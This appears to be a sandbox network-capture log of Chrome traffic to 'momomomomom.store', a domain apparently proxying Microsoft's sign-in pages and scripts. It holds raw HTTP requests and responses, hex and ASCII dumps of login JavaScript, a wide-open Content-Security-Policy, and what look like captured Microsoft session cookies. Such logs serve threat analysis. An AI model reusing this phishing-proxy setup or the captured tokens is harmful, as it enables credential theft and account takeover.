2024-05-07 18:28:43 UTC	781	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:43 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: 371b3097-201e-001c-68f7-9fa1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182843Z-1675f555588r5vsthrny4nwxbg00000000e000000000xw5y x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:28:43 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEY gy0(-oe\|_I?<{!xW_^pE'Y< ]6( .D*Y: ve?!\|t]+a
2024-05-07 18:28:43 UTC	4711	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44 pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49773	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:42 UTC	2711	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:43 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Tue, 07 May 2024 18:28:43 GMT Connection: close
2024-05-07 18:28:43 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-05-07 18:28:43 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49774	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:42 UTC	2730	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:43 UTC	1390	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:43 GMT Content-Type: application/x-javascript content-length: 55037 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 02 Apr 2024 21:29:16 GMT ETag: 0x8DC535BF32A6F5D x-ms-request-id: 67f1ec5c-101e-006f-60af-9d2ea3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182843Z-17859dc676bkg4plzefby8dqc400000005eg00000000frbq x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:43 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-05-07 18:28:43 UTC	15766	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 70 cf 71 1b 61 69 14 87 9e 3f Data Ascii: }Ms#GuhO=>4pO$P IF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sBpqai?

